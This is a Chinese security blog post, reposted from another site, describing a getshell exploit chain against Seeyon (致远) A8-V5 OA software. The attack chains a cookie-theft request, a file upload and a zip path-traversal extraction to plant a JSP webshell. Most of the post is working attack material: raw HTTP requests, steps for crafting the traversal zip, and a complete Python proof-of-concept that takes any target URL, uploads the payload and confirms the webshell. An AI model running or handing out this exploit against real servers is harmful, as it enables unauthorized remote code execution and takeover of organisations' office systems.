Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

致远 OA 组合 getshell

渗透测试 Adminxe 4771℃ 0评论

测试版本为: 致远 A8-V5 协同管理软件 V6.1SP2

自行搭建环境:

image

Getshell 分三步

1.获取cookie信息  
2.上传压缩文件   
3.解压压缩文件得到shell

获取 cookie 信息

漏洞文件

/seeyon/thirdpartyController.do 

数据包:

POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.1.88:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

获取到 cookie

上传压缩文件

漏洞点:

/seeyon/fileUpload.do?method=processUpload&maxSize=

数据包:

POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host: 192.168.1.88:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.88:8080/seeyon/fileUpload.do?method=processUpload&maxSize=
Cookie: JSESSIONID=A4D1CCA965228F523B70833968568BE6
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—————————1416682316313
Content-Length: 1179

—————————–1416682316313
Content-Disposition: form-data; name=”type”


—————————–1416682316313
Content-Disposition: form-data; name=”extensions”


—————————–1416682316313
Content-Disposition: form-data; name=”applicationCategory”


—————————–1416682316313
Content-Disposition: form-data; name=”destDirectory”


—————————–1416682316313
Content-Disposition: form-data; name=”destFilename”


—————————–1416682316313
Content-Disposition: form-data; name=”maxSize”


—————————–1416682316313
Content-Disposition: form-data; name=”isEncrypt”


—————————–1416682316313
Content-Disposition: form-data; name=”file1″; filename=”123.zip”
Content-Type: application/x-zip-compressed

zip文件
—————————–1416682316313–

直接替换上传数据包 cookie 与地址信息发送会返回一个 fileurls 值

3. 解压文件得到 shell

漏洞文件

/seeyon/ajax.do

数据包:CODE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.88:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=A4D1CCA965228F523B70833968568BE6
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,”2021-04-10″,”2708692024033719158″]
image

验证结果

访问压缩包里的文件进行验证 解压后文件位置位于

/seeyon/common/designer/pageLayout/压缩包里文件名
image

成功 getshell

注:制作 zip 文件

新建两个文件

layout.xml  必须存在否则在利用解压漏洞时会解压失败空内容即可
12345678.txt  可是任意名称与内容 想上传webshell替换成webshell内容与jsp后缀即可

压缩成 zip 文件

使用文本编辑 zip 包把 shell 文件名前三位替换成..\ 修改前和修改后位数不能变否则 zip 文件损坏

image

保存查看效果

image

POC:

# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile


la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
           'Content-Type': 'application/x-www-form-urlencoded'}

def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1

def file_zip():
    shell = 'test'   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr('layout.xml', "")
    zf.writestr(webshell_name2, shell)


def Seeyon_Getshell(urllist):

    url = urllist+'/seeyon/thirdpartyController.do'
    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
    response = requests.post(url=url, data=post, headers=la)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookie = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookie)
        jsessionid = cookies['JSESSIONID']
        file_zip()
        print( '获取cookie成功---->> '+jsessionid)
        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
        headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
        post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
                'isEncrypt': "0"}
        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
        time.sleep(2)
    else:
        print('获取cookie失败')
        exit()
    if filego.text:
        fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
        fileid = fileid1[0]
        if len(fileid1) == 0:
            print('未获取到文件id可能上传失败!')
        print('上传成功文件id为---->>:'+fileid)
        Date_time = time.strftime('%Y-%m-%d')
        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
        getshellurl = urllist+'/seeyon/ajax.do'
        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
        time.sleep(1)
        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
        shelllist = requests.get(url=webshellurl1)
        if shelllist.status_code == 200:
            print('利用成功webshell地址:'+webshellurl1)
        else:
            print('未找到webshell利用失败')



def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Seeyon_Getshell(url)
    else:
        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()

此文章引自于:

https://ailiqun.xyz/2021/04/10/%E8%87%B4%E8%BF%9COA-%E7%BB%84%E5%90%88getshell/

转载请注明:Adminxe's Blog » 致远 OA 组合 getshell

喜欢 (5)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址